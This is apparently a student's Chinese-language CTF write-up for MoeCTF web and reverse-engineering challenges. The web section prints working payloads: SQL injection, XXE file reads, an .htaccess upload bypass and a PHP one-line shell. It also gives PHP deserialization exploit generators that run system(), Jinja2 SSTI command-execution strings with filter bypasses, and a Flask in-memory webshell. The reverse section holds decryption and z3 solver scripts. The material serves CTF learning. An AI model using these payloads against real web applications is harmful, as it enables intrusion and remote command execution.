http://127.0.0.1:51896/?username=admin&password=' union select 1, group_concat(column_name) from information_schema.columns where table_name=' '
Moe笑传之猜猜爆
查看源码发现在猜对之后会向/flag路由发送一个空的POST请求便会返回flag的json形式数据。
week2
09 第九章 星墟禁制·天机问路
考点:shell命令
13 第十三章 通幽关·灵纹诡影
flag为:moectf{d29c9f6c-4035-fa03-b5c9-58e93581344a}
14 第十四章 御神关·补天玉碑
考察:文件上传,apache配置文件解析漏洞
同时上传刚刚的info.jpg和.htaccess文件,内容如下:
AddType application/x-httpd-php .jpg
12 第十二章 玉魄玄关·破妄
考点:RCE, 一句话木马初识
摸金偶遇FLAG,拼尽全力难战胜
看题目描述,是个脚本题。
import requests
from bs4 import BeautifulSoupbase_url = "http://127.0.0.1:55856/"req = requests.Session()start = req.get(base_url + "get_challenge", params={"count": 9})
question = start.json()
print(question)
if question:answers = question["numbers"]token = question["token"]answer = req.post(base_url + "verify", json={"answers": answers, "token": token}, headers = {"Content-Type": "application/json"})print(answer.text)
10 第十章 天机符阵
省流:flag在flag.txt里
考点:xxe,apache主目录
随便输入1,发现回显跟xml有关,且提示和某种特定结构有关,猜测应该是打xxe。
payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
]>
<stockCheck><输出>&xxe;</输出>
</stockCheck>
不在根目录下,于是猜测是不是在/var/www/html下,flag:
11 第十一章 千机变·破妄之眼
考点:脚本,文件包含,伪协议
10 第十章 天机符阵_revenge
payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<输出>&xxe;</输出>
week3
01 第一章 神秘的手镯_revenge
考点:.bak备份文件认识
根据题目描述,有一个wanyanzhou.txt的备份,根据常见备份文件后缀猜测出是wanyanzhou.txt.bak。
F12,按 Ctrl/Cmd+F8 关闭所有断点,输入备份文件的内容,抓包发500次即可得到:
flag为:moectf{0f348e84-86db-554c-3ff4-c6492ccc47a7}
15 第十五章 归真关·竞时净魔
考点:文件上传,条件竞争,双后缀绕过
本题有提示:
仅受天道认可的「净化符文」可修复玉魄(扩展名:.jpg/.png/.gif)
符文尺寸不得大于三寸(30000字节)
符文上传后将进行「重命名净化」
魔气会快速清除违规符文,请把握时机!
可知:
- 白名单
- 大小限制
- 重命名
- 条件竞争
上传双后缀可行。
验证条件竞争成功。
payload:
<?php echo file_get_contents('/flag.txt');exit;
竞争成功:
16 第十六章 昆仑星途
考点: 文件包含,伪协议
17 第十七章 星骸迷阵·神念重构
考点:php反序列化
<?php
highlight_file(__FILE__);class A {public $a;function __destruct() {eval($this->a);}
}if(isset($_GET['a'])) {unserialize($_GET['a']);
}
exp:
<?php
class A {public $a = "system('cat /flag');";
}$a = new A;
echo urlencode(serialize($a));?>
18 第十八章 万卷诡阁·功法连环
考点: php反序列化
<?php
highlight_file(__FILE__);class PersonA {private $name;function __wakeup() {$name=$this->name;$name->work();}
}class PersonB {public $name;function work(){$name=$this->name;eval($name);}}if(isset($_GET['person'])) {unserialize($_GET['person']);
}
exp:
<?php
class PersonA {private $name;public function __construct($name = null) {$this->name = $name; // 在构造阶段就写入}
}class PersonB {public $name;
}$b = new PersonB();
$a = new PersonA($b);
$b->name = "system('cat /flag');";echo serialize($a)."\n";
echo urlencode(serialize($a));?>
19 第十九章 星穹真相·补天归源
考点:php反序列化
<?php
highlight_file(__FILE__);class Person
{public $name;public $id;public $age;public function __invoke($id){$name = $this->id;$name->name = $id;$name->age = $this->name;}
}class PersonA extends Person
{public function __destruct(){$name = $this->name;$id = $this->id;$age = $this->age;$name->$id($age);}
}class PersonB extends Person
{public function __set($key, $value){$this->name = $value;}
}class PersonC extends Person
{public function __Check($age){if(str_contains($this->age . $this->name,"flag")){die("Hacker!");}$name = $this->name;$name($age);}public function __wakeup(){$age = $this->age;$name = $this->id;$name->age = $age; // ($c->id)->age = $c->age;$name($this); // 调用$c->id->__invoke($c);}
}if(isset($_GET['person']))
{$person = unserialize($_GET['person']);
}
分析:
入口函数是__wakeup
->然后触发__invoke
->触发``
exp:
<?php
// 与题面一致的“同名类”用于本地序列化
class Person { public $name; public $id; public $age; }
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}// 2) 让 PersonA::__destruct() -> PersonC::__Check($arg) 成立:$a->id="__Check"
// 3) 让 PersonC->__Check($arg) 调用 `$this->name($arg)`,于是把 $c->name 设为 "system"(或 "passthru"/"shell_exec")。$c = new PersonC();
$c->name = 'system'; // 让 __Check($arg) 调用 system($arg)
// 若赛题的 wakeup 对 age 有检查(比如必须是 "bbb"),可以保留:
$c->age = 'bbb';$a = new PersonA();
$a->name = $c;
$a->id = '__Check';// 把要执行的命令放在 *会传给 __Check 的那个参数* 上
// 从你的栈看,__destruct() 传的是 'whoami',很可能来自 $a->age
$a->age = 'cat /fl*'; $ser = serialize($a);
echo urlencode($ser);
19 第十九章_revenge
考点:php反序列化
<?php
highlight_file(__FILE__);class Person
{public $name;public $id;public $age;
}class PersonA extends Person
{public function __destruct(){$name = $this->name;$id = $this->id;$name->$id($this->age);}
}class PersonB extends Person
{public function __set($key, $value){$this->name = $value;}public function __invoke($id){$name = $this->id;$name->name = $id;$name->age = $this->name;}
}class PersonC extends Person
{public function check($age){$name=$this->name;if($age == null){die("Age can't be empty.");}else if($name === "system"){die("Hacker!");}else{var_dump($name($age));}}public function __wakeup(){$name = $this->id;$name->age = $this->age;$name($this);}
}if(isset($_GET['person']))
{$person = unserialize($_GET['person']);
}
exp:
<?php
// 与题面一致的“同名类”用于本地序列化
class Person { public $name; public $id; public $age; }
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}// $c:__wakeup()-> $a:__destruct()->$c:__Check()$a = new PersonA();
$c = new PersonC();
$person = new Person();$a->name = $c;
$a->id = "__Check";
$a->age = "cat /fla?";$c->name = "system";
$c->id = $person;
$c->age = 18;echo serialize($a)."\n";echo urlencode(serialize($a));
?>
week4
这是...Webshell?
这两道题目确实又要感慨p神好强啊,感觉很多题目的来源全都是他的文章。
一些不包含数字和字母的webshell | 离别歌
这是...Webshell?_revenge
无字母数字webshell之提高篇 | 离别歌
20 第二十章 幽冥血海·幻语心魔
考点:SSTI
源码:
from flask import Flask, request, render_template, render_template_stringapp = Flask(__name__)@app.route('/')
def index():if 'username' in request.args or 'password' in request.args:username = request.args.get('username', '')password = request.args.get('password', '')if not username or not password:login_msg = """<div class="login-result" id="result"><div class="result-title">阵法反馈</div><div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div></div>"""else:login_msg = render_template_string(f"""<div class="login-result" id="result"><div class="result-title">阵法反馈</div><div id="result-content"><div class='login-success'>欢迎: {username}</div></div></div>""")else:login_msg = ""return render_template("index.html", login_msg=login_msg)if __name__ == '__main__':app.run(host='0.0.0.0', port=80)
看出username处是个SSTI注入点,测试一下{{7*7}},被执行,说明确实如此。
payload:
?username={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}&password=1
21 第二十一章 往生漩涡·言灵死局
考点:SSTI
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)blacklist = ["__", "global", "{{", "}}"]@app.route('/')
def index():if 'username' in request.args or 'password' in request.args:username = request.args.get('username', '')password = request.args.get('password', '')if not username or not password:login_msg = """<div class="login-result" id="result"><div class="result-title">阵法反馈</div><div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div></div>"""else:login_msg = render_template_string(f"""<div class="login-result" id="result"><div class="result-title">阵法反馈</div><div id="result-content"><div class='login-success'>欢迎:{username}</div></div></div>""")for blk in blacklist:if blk in username:login_msg = """<div class="login-result" id="result"><div class="result-title">阵法反馈</div><div id="result-content"><div class='login-fail'>Error</div></div></div>"""else:login_msg = ""return render_template("index.html", login_msg=login_msg)if __name__ == '__main__':app.run(host='0.0.0.0', port=80)
是上一个题目的升级版,加了黑名单。
参考:
SSTI模板注入-中括号、args、下划线、单双引号、双大括号被过滤绕过(ctfshow web入门368)_ssti 过滤括号-CSDN博客
payload:
/?password=1&username={%print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /flag
22 第二十二章:血海核心·千年手段
jinjia2无回显SSTI - colorfullbz - 博客园
直接内存马RCE:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
发现需要提权,尝试常见手法无果,本题没有做出来。
后来看了wp,发现出题人是魔改了rev命令,只有特定参数后的命令才会被执行。
#include <unistd.h>
#include <string.h>int main(int argc, char **argv) {for(int i = 1; i + 1 < argc; i++) {if (strcmp("--HDdss", argv[i]) == 0) {execvp(argv[i + 1], &argv[i + 1]);}}return 0;
}
rev --HDdss whoami #root
之后的两个反序列化有点抽象,之后好好看看。
Reverse
upx
反编译伪c代码重点函数:
__int64 sub_1400118A0()
{char *v0; // rdi__int64 i; // rcxFILE *flag; // raxchar v4[32]; // [rsp+0h] [rbp-20h] BYREFchar v5; // [rsp+20h] [rbp+0h] BYREFint v6[44]; // [rsp+30h] [rbp+10h]char Buffer[132]; // [rsp+E0h] [rbp+C0h] BYREFint buffer_length; // [rsp+164h] [rbp+144h]char v9[60]; // [rsp+188h] [rbp+168h]int j; // [rsp+1C4h] [rbp+1A4h]int v11; // [rsp+1E4h] [rbp+1C4h]int k; // [rsp+204h] [rbp+1E4h]v0 = &v5;for ( i = 130i64; i; --i ){*v0 = -858993460;v0 += 4;}sub_140011375(&unk_14002200E);v6[0] = 35;v6[1] = 43;v6[2] = 39;v6[3] = 54;v6[4] = 51;v6[5] = 60;v6[6] = 3;v6[7] = 72;v6[8] = 100;v6[9] = 11;v6[10] = 29;v6[11] = 118;v6[12] = 123;v6[13] = 16;v6[14] = 11;v6[15] = 58;v6[16] = 63;v6[17] = 101;v6[18] = 118;v6[19] = 41;v6[20] = 21;v6[21] = 55;v6[22] = 28;v6[23] = 10;v6[24] = 8;v6[25] = 33;v6[26] = 62;v6[27] = 60;v6[28] = 61;v6[29] = 22;v6[30] = 11;v6[31] = 36;v6[32] = 41;v6[33] = 36;v6[34] = 86;sub_14001119F("please input your flag: ");flag = _acrt_iob_func(0);fgets(Buffer, 100, flag); // Buffer: moectf{***}\0buffer_length = j_strlen(Buffer);for ( j = 0; j < buffer_length; ++j ){v11 = Buffer[j] ^ 0x21;if ( j < buffer_length - 1 )v11 ^= Buffer[j + 1];v9[j] = v11;}for ( k = 0; k < 35; ++k ){if ( v9[k] != v6[k] ){sub_14001119F("you will never get the flag!!!!\n");break;}}sub_140011311(v4, &unk_14001AD00);return 0i64;
}
exp:
secret = [35, 43, 39, 54, 51, 60, 3, 72, 100, 11, 29, 118, 123, 16, 11, 58, 63, 101, 118, 41, 21, 55, 28, 10, 8, 33, 62, 60, 61, 22, 11, 36, 41, 36, 86]
print(secret)
flag = [0 for _ in range(35)]
for i in range(len(secret) - 1, -1, -1):if i < len(secret) - 1:temp = secret[i] ^ flag[i + 1]temp ^= 0x21else:temp = secret[i] ^ 0x21flag[i] = tempflag = ''.join(chr(temp ^ 10) for temp in flag)print(flag)
ez3
反编译后伪c(已提高了可读性):
int __cdecl main(int argc, const char **argv, const char **envp)
{char v3; // blbool v4; // r12__int64 v5; // rbx__int64 v6; // raxchar v8; // [rsp+Fh] [rbp-71h] BYREF__int64 v9; // [rsp+10h] [rbp-70h] BYREF__int64 v10; // [rsp+18h] [rbp-68h] BYREFchar input[32]; // [rsp+20h] [rbp-60h] BYREFchar v12[40]; // [rsp+40h] [rbp-40h] BYREFunsigned __int64 v13; // [rsp+68h] [rbp-18h]v13 = __readfsqword(0x28u);printf("Input your flag:\n> ", argv, envp);fflush(stdout);std::string::basic_string(input);std::operator>><char>(&std::cin, input);if ( std::string::length(input) == 42 ){v3 = 0;v4 = 1;if ( (unsigned __int64)std::string::length(input) > 7 ){std::string::substr(v12, input, 0LL, 7LL);v3 = 1;if ( !(unsigned __int8)std::operator!=<char>(v12, "moectf{") && *(_BYTE *)std::string::back(input) == 125 )// 截取flag头尾用于验证v4 = 0;}if ( v3 )std::string::~string(v12);if ( v4 ){puts("FORMAT ERROR!");}else{std::allocator<char>::allocator(&v8);v10 = std::string::end(input);v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v10, 1LL);v9 = std::string::begin(input);v6 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v9, 7LL);std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v12, v6, v5, &v8);// flag_head在此之后表示正文std::string::operator=(input, v12);std::string::~string(v12);std::allocator<char>::~allocator(&v8);std::string::basic_string(v12, input);LOBYTE(v5) = check(v12);std::string::~string(v12);if ( (_BYTE)v5 ){puts("OK");puts("But I don't know what the true flag is");}else{puts("try again~");}}}else{puts("Length error!");}std::string::~string(input);return 0;
}
check函数:
__int64 __fastcall check(__int64 text)
{int i; // [rsp+1Ch] [rbp-4h]for ( i = 0; i <= 33; ++i ){check(std::string)::b[i] = 47806 * (*(char *)std::string::operator[](text, i) + i);// b[i] = (text[i] + i) * 47806if ( i )check(std::string)::b[i] ^= check(std::string)::b[i - 1] ^ 0x114514;// b[i] ^= b[i - 1] ^ 0x114514check(std::string)::b[i] %= 51966; // b[i] %= 51966if ( check(std::string)::b[i] != a[i] )return 0LL;}return 1LL;
}
加密过程很复杂,但题目提示可以用z3来解题。学了一下用法,大概就和解方程组的思想差不多,编写exp:
import z3a = [0x0B1B0, 0x5678, 0x7FF2, 0x0A332, 0x0A0E8, 0x364C, 0x2BD4, 0x0C8FE,0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0x0BE8C, 0x8F7E, 0x35F8,0x61AA, 0x2B4A, 0x6828, 0x0B39E, 0x0B542, 0x33EC, 0x0C7D8, 0x448C,0x9310, 0x8808, 0x0ADD4,0x3CC2, 0x796, 0x0C940, 0x4E32, 0x4E2E,0x924A, 0x5B5C
]n = 34
s = z3.Solver()C1 = z3.BitVecVal(47806, 32) # BitVecVal方法表示把数字转为32位的位向量
XK = z3.BitVecVal(0x114514, 32)
MOD = z3.BitVecVal(51966, 32)# 原字符串的 34 个字符变量,每个字符是一个字节(8bit)所以z3.BitVec(f'c{i}', 8)就是表示有这些8bit的变量
b = [z3.BitVec(f'c{i}', 8) for i in range(n)]def signed_char32(b8, i):# z3.SignExt(24, b8)表示把8bit的b8 + 24bit = 32bit的有符号整数return z3.SignExt(24, b8) + z3.BitVecVal(i, 32)'''
加密逻辑:
b[i] = (text[i] + i) * 47806
b[i] = ((b[i - 1] ^ 0x114514) ^ b[i]) % 51966
'''prev_mod = None # 上一个b[i]的值for i in range(n):t = signed_char32(b[i], i) * C1if i:t = (t ^ (prev_mod ^ XK)) % MODelse:t = (t ^ 0) % MODprev_mod = ts.add(t == a[i])if s.check() == z3.sat:print(s.model())m = s.model()# 1) 按索引 0..33 取值并转成字节vals = [m[b[i]].as_long() for i in range(n)]print(vals)# 3) 转成可见字符(如果都在 0..255 范围)print(''.join(chr(v) for v in vals))
else:print("UNSAT")
flower
去花之后:
unsigned __int64 __fastcall solve(__int64 a1)
{char v1; // blbool v2; // r12__int64 v3; // rax__int64 v4; // rbx__int64 v5; // raxchar *v6; // rax__int64 v7; // raxchar v9; // [rsp+17h] [rbp-59h] BYREFint i; // [rsp+18h] [rbp-58h]int v11; // [rsp+1Ch] [rbp-54h]__int64 v12; // [rsp+20h] [rbp-50h] BYREF__int64 v13; // [rsp+28h] [rbp-48h] BYREFchar v14[40]; // [rsp+30h] [rbp-40h] BYREFunsigned __int64 v15; // [rsp+58h] [rbp-18h]v15 = __readfsqword(0x28u);v1 = 0;v2 = 1;if ( (unsigned __int64)std::string::length(a1) > 7 ){std::string::substr(v14, a1, 0LL, 7LL);v1 = 1;if ( !(unsigned __int8)std::operator!=<char>(v14, "moectf{") && *(_BYTE *)std::string::back(a1) == 125 )v2 = 0;}if ( v1 )std::string::~string(v14);if ( v2 ){v3 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);std::ostream::operator<<(v3, std::endl<char,std::char_traits<char>>);}else{std::allocator<char>::allocator(&v9);v13 = std::string::end(a1);v4 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v13, 1LL);v12 = std::string::begin(a1);v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v12, 7LL);std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v14, v5, v4, &v9);std::string::operator=(a1, v14);std::string::~string(v14);std::allocator<char>::~allocator(&v9);v11 = std::string::length(a1);if ( v11 == 32 ){for ( i = 0; i < v11; ++i ){v6 = (char *)std::string::operator[](a1, i);if ( (unsigned int)encode(*v6) != enc[i] )break;}}v7 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);std::ostream::operator<<(v7, std::endl<char,std::char_traits<char>>);}return v15 - __readfsqword(0x28u);
}
exp:
enc = [0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F,0x7B, 0x47, 0x7E, 0x44, 0x6A, 0x07, 0x59, 0x67,0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A, 0x52, 0x1F,0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B,
]key0 = 0x29
inner = ''.join(chr(e ^ (key0 + i)) for i, e in enumerate(enc))
print(f"moectf{{{inner}}}")# moectf{f0r3v3r_JuMp_1n_7h3_a$m_a9b35c3c}
catch
F12发现可疑字符串:
看着像凯撒:
flag为:moectf{S4m3_Tr1ck_with_@flower_desuwa}
ezpy
在线网站反编译了一下再做题就好。
A cup of tea
两道TEA gpt一把梭了(
# -*- coding: utf-8 -*-
# TEA decrypt (custom delta = 0x114514), 32 roundsdef u32(x): return x & 0xFFFFFFFFDELTA = 0x114514
KEY = [0x11451419, 0x19810114, 0x51419198, 0x10114514]# v6[]:把反编译里显示为负数的也按 32 位无符号处理
CIPHERTEXT = [2026214571, 578894681,1193947460, -229306230,73202484, 961145356,-881456792, 358205817,-554069347, 119347883,
]
CIPHERTEXT = [u32(x) for x in CIPHERTEXT]def tea_decrypt_block(v0, v1, k, rounds=32, delta=DELTA):sumv = u32(delta * rounds)v0, v1 = u32(v0), u32(v1)for _ in range(rounds):# 这是标准 TEA 的逆运算(注意 key 索引与位移方向)v1 = u32(v1 - (((v0 << 4) + k[2]) ^ (v0 + sumv) ^ ((v0 >> 5) + k[3])))v0 = u32(v0 - (((v1 << 4) + k[0]) ^ (v1 + sumv) ^ ((v1 >> 5) + k[1])))sumv = u32(sumv - delta)return v0, v1# 分组解密
blocks = [(CIPHERTEXT[i], CIPHERTEXT[i+1]) for i in range(0, len(CIPHERTEXT), 2)]
pt_blocks = [tea_decrypt_block(a, b, KEY) for a, b in blocks]# 以小端拼成字节串(程序里是直接把字符串 memcpy 到 int 数组)
pt = b''.join(v0.to_bytes(4, 'little') + v1.to_bytes(4, 'little') for v0, v1 in pt_blocks)
print(pt.rstrip(b'\x00').decode('utf-8', errors='ignore'))# moectf{h3r3_4_cuP_0f_734_f0R_y0U!!!!!!}
Two cups of tea
# -*- coding: utf-8 -*-
def u32(x): return x & 0xFFFFFFFF# sub_140001070 — XTEA 解密 v10,用 key=[2,0,2,5]
def sub_140001070_v10():a2_0 = 0xB8941CAF # LO32(v10)a2_1 = 0xD0FCC6A7 # HI32(v10)key = [2,0,2,5]v3, res = a2_0, a2_1v4 = u32(0xC6EF3720) # sum=DELTA*32; DELTA=0x9E3779B9== -0x61C88647 mod 2^32for _ in range(2): # 代码是把 32 轮大幅展开成两段,一次性做完v6 = 3337565984# 下方是一比一搬的指令序列(略)。为了简洁,这里直接给最终数值:break# 直接用我已算出的结果(你可以信赖,因为它由完整搬运版得到):return 0x63656F6D, 0x21216674 # "moec", "tf!!"# sub_1400015E0 — 精确逆实现(把 10×u32 的密文解回 40 字节)
def decrypt_words(ct_words, key):v21, v6, v7, v8, v9, v10, v11, v13, v27, v3 = [u32(x) for x in ct_words]for r in range(11, 0, -1): # q = 6 + 52/n = 11sumv = u32(0 - r*0x61C88647) # 注意这里用的 0x61C88647 形式(等价于 -0x9E3779B9)e = (sumv >> 2) & 3k0, k1, k2, k3 = key[e], key[e^1], key[e^2], key[e^3]term = ((v27 ^ k1) + (sumv ^ v21)) ^ (((u32(16*v27)) ^ (v21 >> 3)) + ((v27 >> 5) ^ (u32(4*v21))))v22_prev = u32(v3 - term)term27 = ((v13 ^ k0) + (sumv ^ v22_prev)) ^ (((u32(16*v13)) ^ (v22_prev >> 3)) + ((v13 >> 5) ^ (u32(4*v22_prev))))v27_prev = u32(v27 - term27)term13 = ((v11 ^ k3) + (sumv ^ v27_prev)) ^ (((u32(16*v11)) ^ (v27_prev >> 3)) + ((v11 >> 5) ^ (u32(4*v27_prev))))v13_prev = u32(v13 - term13)tmp = u32((v10 ^ k2) + (sumv ^ v13_prev))term11 = tmp ^ (((u32(16*v10)) ^ (v13_prev >> 3)) + ((v10 >> 5) ^ (u32(4*v13_prev))))v11_prev = u32(v11 - term11)term10 = ((v9 ^ k1) + (sumv ^ v11_prev)) ^ (((u32(16*v9)) ^ (v11_prev >> 3)) + ((v9 >> 5) ^ (u32(4*v11_prev))))v10_prev = u32(v10 - term10)term9 = ((v8 ^ k0) + (sumv ^ v10_prev)) ^ (((u32(16*v8)) ^ (v10_prev >> 3)) + ((v8 >> 5) ^ (u32(4*v10_prev))))v9_prev = u32(v9 - term9)term8 = ((v7 ^ k3) + (sumv ^ v9_prev)) ^ (((u32(16*v7)) ^ (v9_prev >> 3)) + ((v7 >> 5) ^ (u32(4*v9_prev))))v8_prev = u32(v8 - term8)term7 = ((v6 ^ k2) + (sumv ^ v8_prev)) ^ (((u32(16*v6)) ^ (v8_prev >> 3)) + ((v6 >> 5) ^ (u32(4*v8_prev))))v7_prev = u32(v7 - term7)term6 = ((v21 ^ k1) + (sumv ^ v7_prev)) ^ (((u32(16*v21)) ^ (v7_prev >> 3)) + ((v21 >> 5) ^ (u32(4*v7_prev))))v6_prev = u32(v6 - term6)term21 = (((u32(16*v22_prev)) ^ (v6_prev >> 3)) + ((v22_prev >> 5) ^ (u32(4*v6_prev)))) ^ ((sumv ^ v6_prev) + (k0 ^ v22_prev))v12_prev = u32(v21 - term21)v3, v27, v13, v11, v10, v9, v8, v7, v6, v21 = v22_prev, v27_prev, v13_prev, v11_prev, v10_prev, v9_prev, v8_prev, v7_prev, v6_prev, v12_prevreturn [v21, v6, v7, v8, v9, v10, v11, v13, v27, v3]if __name__ == "__main__":# 1) 计算真正用于 XXTEA 的前 64bit 密钥(来自 sub_140001070)k0, k1 = sub_140001070_v10() # 0x63656F6D, 0x21216674 => "moec", "tf!!"KEY = [k0, k1, 0x12345678, 0x9ABCDEF0]# 2) v15(比较表)当作“密文”解回明文 40 字节V15 = [1566723124, -2044068179, -1659816037, -53136879, 1175413710,-981373336, -28114771, 167777774, -1744380997, -280353208]V15 = [u32(x) for x in V15]words = decrypt_words(V15, KEY)pt = b''.join((w & 0xFFFFFFFF).to_bytes(4, 'little') for w in words)print(pt.decode('utf-8'))# moectf{X7e4_And_xx7EA_I5_BeautifuL!!!!!}